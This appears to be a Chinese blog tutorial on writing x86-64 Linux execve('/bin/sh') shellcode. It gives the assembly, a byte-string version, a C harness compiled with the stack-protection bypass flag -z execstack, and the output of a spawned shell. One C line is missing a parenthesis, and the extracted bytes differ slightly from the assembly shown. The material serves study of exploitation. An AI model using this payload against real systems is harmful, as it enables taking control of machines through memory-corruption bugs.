​ shellcode可以用于在栈溢出或者堆溢出的漏洞中用于跳转后执行的代码。本文的代码是在ubuntu 18.04 64位的linux操作系统。

​ 首先是一个用于执行shellcode的c语言程序:

1
2
3
4
5
6
char shellcode[] = ""; // 之后存放shellcode进来

int main(int argc, char const *argv[]) {
(*(void(*)() shellcode)();
return 0;
}

其中(*(void(*)()) shellcode)();拆开来看首先是(void(*)()) shell code,将shellcode转换为函数指针,指向void()形式的函数,再加一个*是对这个指针进行取值,然后再最右边使用()调用这个函数。在调用后会执行shellcode中的代码。

​ 为了实现生成新的shell进程,这里使用execve系统调用,execve需要传入三个参数,分别是新打开的应用或者脚本的路径、参数的字符串数组argv(最后一个元素是NULL)、环境变量的字符串数组envp(最后一个元素是NULL)execve("/bin/sh", NULL, NULL);

​ 使用syscall汇编指令调用系统调用,需要查看系统调用号64位的系统在/usr/include/x86_64-linux-gnu/asm/unistd_64.h文件夹里。使用下面的命令查看:

1
2
cat unistd_64.h | grep execve
// #define __NR_execve 59

可以看到execve的系统调用号是59,十六进制的0x3b。

​ 然后编写shellcode汇编代码,核心是syscall汇编指令,这个指令中rax寄存器存放系统调用编号,这里是0x3b,在x86-64里,使用rdi、rsi、rdx寄存器分别存放第一、第二、第三个参数,一共可以用6个寄存器存放参数,多出的参数或者参数不是数字都是使用栈来传送。rdi寄存器存放execve的第一个参数,rsi存放参数字符数组地址(这里使用NULL,也就是0),rdx存放环境变量数组地址(也是NULL)。下面是汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
; test.s
section .text
global _start
_start:
sub rsp, 8
mov dword [rsp], 0x6e69622f
mov dword [rsp+4], 0x0068732f
mov rdi, rsp ;第一参数
xor rsi, rsi ;第二参数,0
xor rdx, rdx ;第三参数,0
xor rax, rax
mov al, 0x3b ;系统调用编号
syscall

​ 对于第二、第三参数,为了让代码变得比较短,不使用mov rsi, 0来实现寄存器变为0,而是使用xor rsi, rsi来清零rsi。

​ 传递路径给系统调用,如上面代码所示,使用栈存放路径,最后将栈地址存放到rdi中,对于这种方法需要将/bin/sh转换为十六进制小端顺序,然后在末尾补上0,因为nasm不能一次push进4字的数据,但是它每次push会是rsp减少8,所以这里是分两次存入的,栈是从高到低的,首先放进0x6e69622f,然后存入0x0068732f,最后将栈指针给rdi(第一参数)。

​ 编写好后使用汇编编译工具NASM编译:

1
nasm -f elf64 test.s

​ 因为是在64位系统中,需要指定elf64,然后使用链接器将其变为可执行程序。

1
ld test.o -o test

​ 最后执行test可以看到一个新的sh。

​ 既然汇编代码已经写好,就需要将其变为字符串形式,使用:

1
objdump -s test

得到.text代码,将其放入python脚本中

1
2
3
4
5
6
7
8
9
# shellcode.py
code = '4883ec10c704242f62696ec74424042f7368004889e74831f64831c04831d2b03b0f05'
result = ""
for i in range(0, len(code), 2):
if i < len(code) - 1:
result += '\\x' + code[i:i+2]
else:
result += '\\x' + code[i]
print(result)

将输出复制到shellcode字符数组中,我们看看可不可以执行shellcode了

1
2
3
4
5
6
7
8
9
10
// shellcode.c
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\x48\x83\xec\x10\xc7\x04\x24\x2f\x62\x69\x6e\xc7\x44\x24\x04\x2f\x73\x68\x00\x48\x89\xe7\x48\x31\xf6\x48\x31\xc0\x48\x31\xd2\xb0\x3b\x0f\x05";
int main(int argc, char const *argv[])
{
(*(void (*)()) shellcode) ();
return 0;
}

因为GCC默认是有exec保护,所以编译时需要增加编译选项:

1
gcc -z execstack shellcode.c

最后可以看到效果,打开了一个新的sh:

1
2
ss@ss-VirtualBox:~/Downloads$ ./a.out
$

附录

  1. 可以使用gdb调试shellcode.c,编译后的函数指针指行是一个call *地址的指令,可以step in来查看行之后的shellcode里面的代码。

  2. 因为这里用了execve这个系统调用,我们可以使用strace命令,查看程序的系统调用执行状况,前几次都出现execve(null,null,null)这样参数传递错误的情况,我才想起来64位参数传递用的是rsi、rdi这些寄存器。

  3. 使用label: db ‘/bin/sh’,mov rdi, label的形式会出现找不到路径,因为ld后的代码引用label的地址竟然是固定的,我得再看看链接的原理。

  4. edb debugger好好用!

参考

  1. 32位shellcode编写 https://nobe4.fr/shellcode-for-by-newbie/

  2. linux下execve汇编 https://stackoverflow.com/questions/42741276/nasm-assembly-sys-execve-bin-sh

  3. gdb小技巧 https://wizardforcel.gitbooks.io/100-gdb-tips/print-registers.html